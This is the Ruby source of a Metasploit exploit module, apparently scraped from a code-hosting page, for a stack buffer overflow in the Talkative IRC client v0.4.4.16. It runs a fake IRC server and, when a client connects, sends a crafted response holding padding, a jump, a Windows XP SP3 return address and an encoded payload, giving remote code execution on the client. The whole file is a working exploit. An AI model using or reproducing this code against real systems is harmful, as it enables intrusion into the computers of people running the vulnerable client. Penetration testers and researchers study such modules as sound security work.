76 lines
2.2 KiB
Ruby
76 lines
2.2 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Talkative IRC v0.4.4.16 Response Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Talkative IRC v0.4.4.16.
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When a specially crafted response string is sent to a client,
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an attacker may be able to execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '64582'],
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[ 'BID', '34141' ],
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[ 'EDB', '8227' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00\x0a\x20\x0d",
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'StackAdjustment' => -3500,
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP3 English', { 'Ret' => 0x72d1146b } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Mar 17 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ])
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], self.class)
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end
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def on_client_connect(client)
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res = ":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n"
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client.put(res)
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end
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def on_client_data(client)
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return if ((p = regenerate_payload(client)) == nil)
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sploit = ":" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6)
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sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded
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sploit << " PRIVMSG " + rand_text_alpha(rand(10) + 1)
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sploit << " : /FINGER " + rand_text_alpha(rand(10) + 1) + ".\r\n"
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client.put(sploit)
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handler
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service.close_client(client)
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end
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end
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